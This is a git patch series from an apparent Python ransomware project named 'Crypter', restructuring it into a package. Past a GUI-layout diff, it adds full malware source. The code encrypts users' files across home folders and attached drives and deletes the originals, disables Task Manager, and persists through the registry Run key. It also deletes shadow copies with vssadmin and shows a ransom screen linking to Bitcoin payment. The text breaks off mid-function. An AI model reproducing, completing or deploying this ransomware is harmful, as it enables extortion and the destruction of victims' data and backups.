@@ 0 wxID_ANY Make GUI Resizeable + 0 0 @@ -5596,29 +4254,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -5693,30 +4328,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -5763,6 +4374,7 @@ 0 wxID_ANY Always On Top + 0 0 @@ -5788,29 +4400,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -5885,30 +4474,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -5966,6 +4531,7 @@ 0 wxID_ANY Background Colour + 0 0 @@ -5991,29 +4557,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -6087,30 +4630,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -6157,6 +4676,7 @@ 0 wxID_ANY Heading Font Colour + 0 0 @@ -6182,29 +4702,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -6278,30 +4775,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -6359,6 +4832,7 @@ 0 wxID_ANY Primary Font Colour + 0 0 @@ -6384,29 +4858,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -6480,30 +4931,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -6550,6 +4977,7 @@ 0 wxID_ANY Seconday Font Colour + 0 0 @@ -6575,29 +5003,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -6671,30 +5076,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -6715,7 +5096,6 @@ wxVERTICAL 1 none - 5 wxALL|wxEXPAND @@ -6778,33 +5158,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -6872,29 +5225,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -6939,6 +5269,7 @@ 0 wxID_ANY Save configuration + 0 0 @@ -6964,29 +5295,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -7052,30 +5360,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -7139,29 +5423,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -7219,29 +5480,6 @@ wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - bSizer172 @@ -7309,29 +5547,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -7393,29 +5608,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -7473,29 +5665,6 @@ wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - bSizer17 @@ -7513,7 +5682,6 @@ wxVERTICAL 1 none - 4 wxALL|wxEXPAND @@ -7576,33 +5744,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -7666,29 +5807,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -7745,30 +5863,7 @@ - wxDOUBLE_BORDER|wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - + wxTAB_TRAVERSAL bSizer171 @@ -7789,25 +5884,31 @@ + 1 0 1 1 + 0 0 + Dock 0 Left 1 1 + Arial,90,90,9,74,0 0 0 wxID_ANY BUILD + + 0 0 @@ -7822,6 +5923,8 @@ protected 1 + + Resizable 1 @@ -7836,30 +5939,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -7877,25 +5956,31 @@ + 1 0 1 1 + 0 0 + Dock 0 Left 1 1 + 0 0 wxID_ANY Open Containing Folder + + 0 0 @@ -7910,6 +5995,8 @@ protected 1 + + Resizable 1 @@ -7924,30 +6011,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -7970,35 +6033,12 @@ protected - wxST_SIZEGRIP + wxSTB_SIZEGRIP - - - - - - - - - - - - - - - - - - - - - - - @@ -8027,42 +6067,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 400,500 bSizer30 @@ -8101,6 +6105,7 @@ 0 wxID_ANY Select the filetypes to encrypt + 0 0 @@ -8126,29 +6131,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -8213,30 +6195,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -8305,29 +6263,6 @@ wxVSCROLL - - - - - - - - - - - - - - - - - - - - - - - bSizer32 @@ -8345,7 +6280,6 @@ wxVERTICAL 1 none - 5 wxEXPAND @@ -8426,30 +6360,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -8514,30 +6424,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -8602,30 +6488,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -8690,30 +6552,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -8789,30 +6627,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -8877,30 +6691,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -8965,30 +6755,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -9053,30 +6819,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -9152,30 +6894,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -9240,30 +6958,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -9328,30 +7022,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -9416,30 +7086,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -9527,30 +7173,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -9569,7 +7191,6 @@ wxVERTICAL 1 none - @@ -9584,7 +7205,6 @@ wxVERTICAL 1 none - diff --git a/build/builder_gui/prototypes/crypter_builder_dark.fbp b/gui/CrypterBuilder/prototypes/crypter_builder_dark.fbp similarity index 100% rename from build/builder_gui/prototypes/crypter_builder_dark.fbp rename to gui/CrypterBuilder/prototypes/crypter_builder_dark.fbp diff --git a/build/builder_gui/prototypes/crypter_builder_light.fbp b/gui/CrypterBuilder/prototypes/crypter_builder_light.fbp similarity index 100% rename from build/builder_gui/prototypes/crypter_builder_light.fbp rename to gui/CrypterBuilder/prototypes/crypter_builder_light.fbp From ae750c747eb20b564307c3039d98dceb2e5f8bce Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 15 Apr 2020 21:56:38 +0100 Subject: [PATCH 02/41] Moved Crypter into its own separate package --- Crypter/{ => Crypter}/Base.py | 14 +- Crypter/{ => Crypter}/Crypt.py | 20 +- Crypter/Crypter/Crypter.py | 445 ++++ Crypter/Crypter/Gui.py | 489 +++++ Crypter/{ => Crypter}/GuiAbsBase.py | 300 +-- Crypter/{ => Crypter}/ScheduledTask.py | 0 Crypter/{ => Crypter}/TaskManager.py | 2 +- Crypter/Crypter/__init__.py | 7 + Crypter/Gui.py | 507 ----- gui/crypter.fbp | 1284 ----------- gui/final.fbp | 2775 ------------------------ 11 files changed, 1120 insertions(+), 4723 deletions(-) rename Crypter/{ => Crypter}/Base.py (95%) rename Crypter/{ => Crypter}/Crypt.py (89%) create mode 100644 Crypter/Crypter/Crypter.py create mode 100644 Crypter/Crypter/Gui.py rename Crypter/{ => Crypter}/GuiAbsBase.py (91%) rename Crypter/{ => Crypter}/ScheduledTask.py (100%) rename Crypter/{ => Crypter}/TaskManager.py (99%) create mode 100644 Crypter/Crypter/__init__.py delete mode 100644 Crypter/Gui.py delete mode 100644 gui/crypter.fbp delete mode 100644 gui/final.fbp diff --git a/Crypter/Base.py b/Crypter/Crypter/Base.py similarity index 95% rename from Crypter/Base.py rename to Crypter/Crypter/Base.py index 4a4479f..7a9b6da 100644 --- a/Crypter/Base.py +++ b/Crypter/Crypter/Base.py @@ -7,8 +7,11 @@ # Import libs import os import locale +from operator import attrgetter + import win32api import win32file +from subprocess import Popen, PIPE, DEVNULL # Import classes @@ -127,24 +130,23 @@ def is_optical_drive(self, drive_letter): return True else: return False - + def get_base_dirs(self, home_dir, __config): # Function to return a list of base directories to encrypt base_dirs = [] - + # Add attached drives and file shares if __config["encrypt_attached_drives"] is True: attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1] for drive in attached_drives: - drive_letter = drive[0] - if drive_letter != 'C' and not self.is_optical_drive(drive_letter): + drive_letter = drive[0].lower() + if drive_letter != 'c' and not self.is_optical_drive(drive_letter): base_dirs.append(drive) - + # Add C:\\ user space directories if __config["encrypt_user_home"] is True: base_dirs.append(home_dir) - return base_dirs diff --git a/Crypter/Crypt.py b/Crypter/Crypter/Crypt.py similarity index 89% rename from Crypter/Crypt.py rename to Crypter/Crypter/Crypt.py index dbaaf07..d08b55d 100644 --- a/Crypter/Crypt.py +++ b/Crypter/Crypter/Crypt.py @@ -11,7 +11,7 @@ import os # Import classes -import Base +from . import Base ###################### ## Symmetric Crypto ## @@ -21,9 +21,12 @@ class SymmetricCrypto(Base.Base): def __init__(self, key=None): # Init object - self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) - self.unpad = lambda s : s[0:-ord(s[-1])] + #self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) + self.unpad = lambda s : s[0:-s[-1]] + + def pad(self, s): + return s + bytes((self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE), encoding="utf-8") def init_keys(self, key=None): ''' @@ -32,8 +35,10 @@ def init_keys(self, key=None): ''' if not key: + print("Loading a key") self.load_symmetric_key() else: + print("using existing key: %s" % key) self.key = key @@ -44,11 +49,14 @@ def load_symmetric_key(self): fh = open("key.txt", "r") self.key = fh.read() fh.close() + print("Key file already here. Using + " + self.key) else: + print("No key file. Generating") self.key = self.generate_key() def generate_key(self): # Function to generate a random key for encryption + print("writing out key to " + os.getcwd()) key = ''.join(random.choice('0123456789ABCDEF') for i in range(32)) # DEV - Write to file @@ -104,6 +112,7 @@ def decrypt_file(self, file, decryption_key, extension): # Get file details and check for errors file_details = self.process_file(file, "decrypt", extension) if file_details['error']: + print("Some kind of error getting file details") return # Open file reading and writing handles @@ -111,6 +120,7 @@ def decrypt_file(self, file, decryption_key, extension): fh_read = open(file_details["locked_path"], "rb") fh_write = open(file_details["full_path"], "wb") except IOError: + print("Got IO Error below fh read and write") return False # Read blocks and decrypt @@ -125,7 +135,7 @@ def decrypt_file(self, file, decryption_key, extension): ciphertext = block iv = ciphertext[:self.IV_SIZE] ciphertext = ciphertext[self.IV_SIZE:] - cipher = AES.new(decryption_key, AES.MODE_CBC, iv) + cipher = AES.new(bytes(decryption_key, encoding="utf-8"), AES.MODE_CBC, iv) cleartext = self.unpad(cipher.decrypt(ciphertext)) # Write decrypted block @@ -173,7 +183,7 @@ def encrypt_file(self, file, extension): iv = Random.new().read(AES.block_size) - cipher = AES.new(self.key, AES.MODE_CBC, iv) + cipher = AES.new(bytes(self.key, encoding="utf-8"), AES.MODE_CBC, iv) try: # Create ciphertext. Length is now 4096 + 32 (block + iv + padding) ciphertext = (iv + cipher.encrypt(to_encrypt)) diff --git a/Crypter/Crypter/Crypter.py b/Crypter/Crypter/Crypter.py new file mode 100644 index 0000000..381f60f --- /dev/null +++ b/Crypter/Crypter/Crypter.py @@ -0,0 +1,445 @@ +''' +@summary: Crypter: Ransomware written entirely in python. +@author: MLS +@version: 2.40 +''' + + +# Import libs +import os +import sys +import win32api +import win32file +import winerror +import win32event +import winreg +import wx +import time +import json +import importlib + +# Import Package Libs +from . import Base +from . import Crypt +from . import Gui +from .ScheduledTask import ScheduledTask +from .TaskManager import TaskManager + + +################### +## CRYPTER Class ## +################### +class Crypter(Base.Base): + ''' + @summary: Crypter: Controls interaction between relevant objects + @author: MLS + ''' + + def __init__(self): + ''' + @summary: Constructor + ''' + self.__config = self.__load_config() + self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") + + self.clear_log() + self.log_something("here we go!") + + # Init Crypt Lib + self.Crypt = Crypt.SymmetricCrypto() + + # FIRST RUN + # Encrypt! + self.log_something("encrypted file list found: %s" % os.path.isfile(self.encrypted_file_list)) + if not os.path.isfile(self.encrypted_file_list): + # Disable Task Manager + if self.__config["disable_task_manager"]: + self.task_manager = TaskManager() + try: + self.task_manager.disable() + except WindowsError: + pass + + # Add to startup programs + # TODO Test + if self.__config["open_gui_on_login"]: + self.__add_to_startup_programs() + + # Find files and initialise keys + self.Crypt.init_keys("0123456789ABCDEF0123456789ABCDEF") + + self.log_something("Finding files") + file_list = self.find_files() + self.log_something("Files to encrypt: %s" % file_list) + self.log_something("Drives: %s " % str(win32api.GetLogicalDriveStrings())) + + # Start encryption + self.encrypt_files(file_list) + + # If no files were encrypted. cleanup and return + if self.__no_files_were_encrypted(): + # TODO Test + print("No files were encrypted") + self.cleanup() + return + + # Delete Shadow Copies + if "delete_shadow_copies" in self.__config: + self.__delete_shadow_files() + + # Open GUI + self.start_gui() + + # ALREADY ENCRYPTED - Open GUI + elif os.path.isfile(self.encrypted_file_list): + self.start_gui() + + + def clear_log(self): + + fh = open("out.log", "w").close() + + def log_something(self, message): + + with open("out.log", "a") as log: + log.write(message + "\n") + + + def __load_config(self): + ''' + @summary: Loads the runtime cfg file + @return: JSON runtime config + ''' + + try: + cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) + except AttributeError: + cfg_path = os.path.join("..\\", "CrypterBuilder", "Resources", "runtime.cfg") + + with open(cfg_path, "r") as runtime_cfg_file: + config = json.load(runtime_cfg_file) + + return config + + def __delete_shadow_files(self): + ''' + @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk + ''' + + vs_deleter = ScheduledTask( + name="updater47", + command="vssadmin Delete Shadows /All /Quiet" + ) + vs_deleter.run_now() + vs_deleter.cleanup() + + def __no_files_were_encrypted(self): + ''' + @summary: Checks if any files were encrypted + @return: True if no files were encrypted, otherwise False + @todo: Test + ''' + + if not os.path.isfile(self.encrypted_file_list): + return True + else: + return False + + def __add_to_startup_programs(self): + ''' + @summary: Adds Crypter to the list of Windows startup programs + @todo: Code and test + @todo: Restore try and except catch + ''' + + try: + reg = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) + winreg.SetValueEx(reg, "Crypter", 0, winreg.REG_SZ, sys.executable) + winreg.CloseKey(reg) + except WindowsError: + pass + + def __remove_from_startup_programs(self): + ''' + @summary: Removes Crypter from the list of startup programs + @todo: Code and test + ''' + + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, winreg.KEY_SET_VALUE) + winreg.DeleteValue(reg, "Crypter") + winreg.CloseKey(reg) + except WindowsError: + pass + + def get_start_time(self): + ''' + @summary: Get's Crypter's start time from the registry, or creates it if it + doesn't exist + @return: The time that the ransomware began it's encryption operation, in integer epoch form + ''' + + # Try to open registry key + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + start_time = winreg.QueryValueEx(reg, "")[0] + winreg.CloseKey(reg) + # If failure, create the key + except WindowsError: + start_time = int(time.time()) + reg = winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.SetValue(reg, "", winreg.REG_SZ, str(start_time)) + winreg.CloseKey(reg) + + return start_time + + def cleanup(self): + ''' + @summary: Cleanups the system following successful decryption. Removed the list of + encrypted files and deletes the Crypter registry key. Re-enable TM + ''' + + # If files were encrypted, Remove from startup programs (if present in list) + if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: + self.__remove_from_startup_programs() + + self.delete_encrypted_file_list() + self.delete_registry_entries() + + if self.__config["disable_task_manager"]: + try: + self.task_manager.enable() + except WindowsError: + pass + + def delete_registry_entries(self): + ''' + @summary: Deletes the timer registry key + ''' + + # Open and delete the key + try: + reg = winreg.OpenKeyEx(winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) + winreg.DeleteKeyEx(reg, "") + winreg.CloseKey(reg) + except WindowsError: + # Ignore any Windows errors + pass + + def start_gui(self): + ''' + @summary: Initialises and launches the ransomware GUI screen + ''' + + # Get Crypter start_time + start_time = self.get_start_time() + + app = wx.App() + # TODO Update this to new path and place in __init__ + try: + image_path = sys._MEIPASS + except AttributeError: + image_path = os.path.join("..\\", "CrypterBuilder", "Resources") + + crypter_gui = Gui.Gui( + image_path=image_path, + start_time=start_time, + decrypter=self, + config=self.__config) + + crypter_gui.Show() + app.MainLoop() + + def get_encrypted_files_list(self): + ''' + @summary: Returns a list of the files encrypted by crypter + @return: Encrypted file list + ''' + + # Get list of encrypted files + try: + with open(self.encrypted_file_list) as fh: + file_list = fh.readlines() + fh.close() + except IOError: + # Don't error, just return message + raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) + + return file_list + + def decrypt_file(self, encrypted_file, decryption_key): + ''' + @summary: Processes the list of encrypted files and decrypts each. Should be called once per file + @param encrypted_file: an encrypted file to decrypt + ''' + + # Decrypt! + if not encrypted_file: + return + + # IF successful decryption, delete locked file + locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, + self.__config["encrypted_file_extension"]) + if locked_path: + os.remove(locked_path) + + def delete_encrypted_file_list(self): + ''' + @summary: Deletes the list of encrypted files + ''' + + # Remove encrypted file list + if os.path.isfile(self.encrypted_file_list): + os.remove(self.encrypted_file_list) + + def encrypt_files(self, file_list): + ''' + @summary: Encrypts all files in the provided file list param + @param file_list: A list of files to encrypt + ''' + encrypted_files = [] + + # Encrypt them and add to list if successful + for file in file_list: + + # Encrypt file if less than specified file size + try: + if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: + is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) + else: + is_encrypted = False + + # IF encrypted, try to delete the file and add to the list + if is_encrypted: + os.remove(file) + encrypted_files.append(file) + except: + # Ignore any exception, such as access denied, and continue + raise + + # Write out list of encrypted files + if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): + fh = open(self.encrypted_file_list, "w") + for encrypted_file in encrypted_files: + fh.write(encrypted_file) + fh.write("\n") + fh.close() + + def find_files(self): + ''' + @summary: Searches the file system and builds a list of files to encrypt + @return: List of files matching the location and filetype criteria + ''' + binary_name = os.path.split(sys.argv[0])[1] + + # Get Current Working Directory + try: + cwd = sys._MEIPASS + except AttributeError: + cwd = os.path.dirname(os.getcwd()) + + base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) + file_list = [] + + for directory in base_dirs: + print("Checking: %s" % directory) + for path, subdirs, files in os.walk(directory): + for file in files: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + for file in subdirs: + if os.path.isfile(os.path.join(path, file)): + # Check file is valid + try: + if ( + (self.is_valid_filetype(file)) and + (not self.is_excluded_file(file)) and + (not self.is_excluded_dir(path)) and + (file.lower() != binary_name.lower()) and + (not os.path.join(path, file).lower().startswith( + win32file.GetLongPathName(cwd).lower())) + ): + file_list.append(os.path.join(path, file)) + except Exception: + # Skip any files with strange chars not within our encoding + pass + + return file_list + + def is_excluded_dir(self, path): + ''' + @summary: Checks whether the specified path should be excluded from encryption + @param path: The path to check + @return: True if the path should be excluded from encryption, otherwise False + ''' + + for dir_to_exclude in self.DIRS_TO_EXCLUDE: + if "\\%s" % dir_to_exclude.lower() in path.lower(): + return True + + return False + + def is_excluded_file(self, file): + ''' + @summary: Checks whether the specified file is marked as a file to be excluded from encryption + @param file: The file to check + @requires: True if the file should be excluded from encryption, otherwise false + ''' + + if file.lower() in self.FILES_TO_EXCLUDE: + return True + else: + return False + + def is_valid_filetype(self, file): + ''' + @summary: Verifies whether the specified file is of an acceptable type for encryption + @param file: The file to check + @attention: The list of filetypes to encrypt is defined in the Base.Base class + ''' + + # Split filename + filename_components = file.split(".") + + # If no extension, return False + if len(filename_components) <= 1: + return False + # Otherwise stringify extension + else: + full_extension = ".".join(filename_components[1:]).lower() + + # Check if extension is in the list of encryptable extensions + for target_extension in self.__config["filetypes_to_encrypt"]: + if len(target_extension) <= len(full_extension) and full_extension[ + -len(target_extension):] == target_extension.lower(): + return True + + return False + + def set_wallpaper(self): + ''' + @summary: Sets the users wallpaper to a specific ransom not image + @deprecated: This method, and approach, is no longer used. The ransom + note is now displayed via a WX GUI + @requires: To enable this method, add an import for ctypes + ''' + + # Import image and write to path + # todo adjust file name... maybe replace this with whatever is provided in the config file? + image_path = os.path.join(sys._MEIPASS, "ransom.png") + + SPI_SETDESKWALLPAPER = 20 + ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) diff --git a/Crypter/Crypter/Gui.py b/Crypter/Crypter/Gui.py new file mode 100644 index 0000000..a020247 --- /dev/null +++ b/Crypter/Crypter/Gui.py @@ -0,0 +1,489 @@ +"""Subclass of MainFrame, which is generated by wxFormBuilder.""" +''' +@summary: Crypter: GUI Class +@author: MLS +''' + +# Import libs +import os +import time +import webbrowser +import wx +from pubsub import pub +from threading import Thread, Event + +# Import Package Libs +from . import Base +from .GuiAbsBase import EnterDecryptionKeyDialog +from .GuiAbsBase import MainFrame +from .GuiAbsBase import ViewEncryptedFilesDialog + + +############################ +## DECRYPTIONTHREAD CLASS ## +############################ +class DecryptionThread(Thread): + ''' + @summary: Provides a thread for file decryption + ''' + + def __init__(self, encrypted_files_list, decrypted_files_list, parent, + decrypter, decryption_key): + ''' + @summary: Constructor: Starts the thread + @param encrypted_files_list: The list of encrypted files + @param decrypted_files_list: The list of files that were decrypted, but have now been decrypted + @param parent: Handle to the GUI parent object + @param decrypter: Handle to the decrypter (Main object) + @param decryption_key: AES 256 bit decryption key to be used for file decryption + ''' + self.parent = parent + self.encrypted_files_list = encrypted_files_list + self.decrypted_files_list = decrypted_files_list + self.decrypter = decrypter + self.decryption_key = decryption_key + self.in_progress = False + self.decryption_complete = False + self._stop_event = Event() + + # Start thread + Thread.__init__(self) + self.start() + + def run(self): + ''' + @summary: Performs decryption of the encrypted files + ''' + self.in_progress = True + time.sleep(0.5) + + # Iterate encrypted files + for i in range(len(self.encrypted_files_list)): + + # Check for thread termination signal and break if set + if self._stop_event.is_set(): + break + else: + # Decrypt file and add to list of decrypted files. Update progress + self.decrypter.decrypt_file(self.encrypted_files_list[i], self.decryption_key) + self.decrypted_files_list.append(self.encrypted_files_list[i]) + #Publisher.sendMessage("update", "") + pub.sendMessage("update") + + # Encryption stopped or finished + self.in_progress = False + + # Check if decryption was completed + if len(self.decrypted_files_list) == len(self.encrypted_files_list): + self.decryption_complete = True + + # Run a final progress update + #Publisher.sendMessage("update", "") + pub.sendMessage("update") + + # Remove decrypted files from the list of encrypted files + # Update the GUIs encrypted and decrypted file lists + for file in self.decrypted_files_list: + if file in self.encrypted_files_list: + self.encrypted_files_list.remove(file) + + # Make sure GUI file lists are up-to-date + self.parent.decrypted_files_list = [] + self.parent.encrypted_files_list = self.encrypted_files_list + + # If forcefully stopped, close the dialog + if self._stop_event.is_set(): + self.parent.decryption_dialog.Destroy() + + def stop(self): + ''' + @summary: To be called to set the stop event and terminate the thread after the next cycle + ''' + + # If complete or not in progress, and event is already set, close forcefully + if self.decryption_complete or not self.in_progress: + self.parent.decryption_dialog.Destroy() + # Otherwise, only set signal + else: + self._stop_event.set() + + +############### +## GUI CLASS ## +############### +class Gui(MainFrame, ViewEncryptedFilesDialog, EnterDecryptionKeyDialog, Base.Base): + ''' + @summary: Main GUI class. Inherits from GuiAbsBase and defines Crypter specific functions, + labels, text, buttons, images etc. Also inherits from main Base for schema + ''' + + def __init__(self, image_path, start_time, decrypter, config): + ''' + @summary: Constructor + @param image_path: The path to look at to find resources, such as images. + @param start_time: EPOCH time that the encryption finished. + @param decrypter: Handle back to Main. For calling decryption method + @param config: The ransomware's runtime config dict + ''' + # Handle Params + self.image_path = image_path + self.start_time = start_time + self.decrypter = decrypter + self.__config = config + self.decryption_thread = None + self.decryption_dialog = None + self.encrypted_files_list = self.decrypter.get_encrypted_files_list() + self.decrypted_files_list = [] + + # Define other vars + self.set_message_to_null = True + + # Super + MainFrame.__init__(self, parent=None) + + # Update GUI visuals + self.update_visuals() + + # Update events + self.set_events() + + # Create pubsub listener to update the decryption progress + #Publisher.subscribe(self.update_decryption_progress, "update") + pub.subscribe(self.update_decryption_progress, "update") + + def update_decryption_progress(self): + ''' + @summary: Updates the decryption progress in the GUI + ''' + + # Calculate percentage completion + if len(self.encrypted_files_list) == 0: + percentage_completion = 100 + else: + percentage_completion = float(len(self.decrypted_files_list)) * 100.0 / float( + len(self.encrypted_files_list)) + + # Update number of encrypted files remaining + if not self.decryption_thread.decryption_complete: + encrypted_files_remaining = len(self.encrypted_files_list) - len(self.decrypted_files_list) + else: + encrypted_files_remaining = 0 + + # Set encrypted files number in GUI + self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( + "Encrypted Files: %s" % encrypted_files_remaining) + + # Update Decryption percentage completion + if percentage_completion != 100: + self.decryption_dialog.StatusText.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (%d%%)" % percentage_completion + ) + else: + self.decryption_dialog.StatusText.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion + ) + + # Update decryption gauge + if self.encrypted_files_list: + self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion) + else: + self.decryption_dialog.DecryptionGauge.SetValue(100) + + # If the decryption has successfully finished, update the GUI + if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: + # Cleanup decrypter and change dialog message + self.decrypter.cleanup() + # Update main window + self.key_destruction_timer.Stop() + self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) + self.FlashingMessageText.SetForegroundColour(wx.Colour(2, 217, 5)) + self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) + self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) + + # Disable decryption and files list buttons + self.EnterDecryptionKeyButton.Disable() + self.ViewEncryptedFilesButton.Disable() + + def open_url(self, event): + ''' + @summary: Opens a web browser at the Bitcoin URL + ''' + + webbrowser.open(self.BTC_BUTTON_URL) + + def set_events(self): + ''' + @summary: Create button and timer events for GUI + ''' + + # Create and bind timer event + self.key_destruction_timer = wx.Timer() + self.key_destruction_timer.SetOwner(self, wx.ID_ANY) + self.key_destruction_timer.Start(500) + self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) + + # Create button events + self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) + self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) + self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton) + + def stop_decryption(self, event): + ''' + @summary: Called when the decryption dialog is closed. Sends a stop event + signal to the decryption thread if it exists + ''' + + # Send stop event to the decryption thread if it exists + if self.decryption_thread and self.decryption_thread.in_progress: + self.decryption_thread.stop() + # Otherwise just kill the dialog + else: + self.decryption_dialog.Destroy() + + def show_decryption_dialog(self, event): + ''' + @summary: Creates a dialog object to show the decryption dialog + ''' + + # If dialog open. Don't open another + if self.decryption_dialog: + return + + # Create dialog object + self.decryption_dialog = EnterDecryptionKeyDialog(self) + # Set gauge size + self.decryption_dialog.DecryptionGauge.SetRange(100) + # Set encrypted file number + self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( + len(self.encrypted_files_list) - len(self.decrypted_files_list) + ) + ) + + # Bind OK button to decryption process + self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) + # Bind close and cancel event to thread killer + self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) + self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) + self.decryption_dialog.Show() + + def start_decryption_thread(self, event): + ''' + @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) + ''' + + # Check for valid key + key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0) + if len(key_contents) < 32: + self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) + return + else: + self.decryption_dialog.StatusText.SetLabelText( + self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)" + ) + + # Disable dialog buttons + self.decryption_dialog.OkCancelSizerOK.Disable() + self.decryption_dialog.OkCancelSizerCancel.Disable() + + # Start the decryption thread + self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, + self, self.decrypter, key_contents) + + def show_encrypted_files(self, event): + ''' + @summary: Creates a dialog object showing a list of the files that were encrypted + ''' + + # Create dialog object and file list string + self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) + encrypted_files_list = "" + for file in self.encrypted_files_list: + encrypted_files_list += "%s" % file + + # If the list of encrypted files exists, load contents + if encrypted_files_list: + self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list) + # Otherwise set to none found + else: + 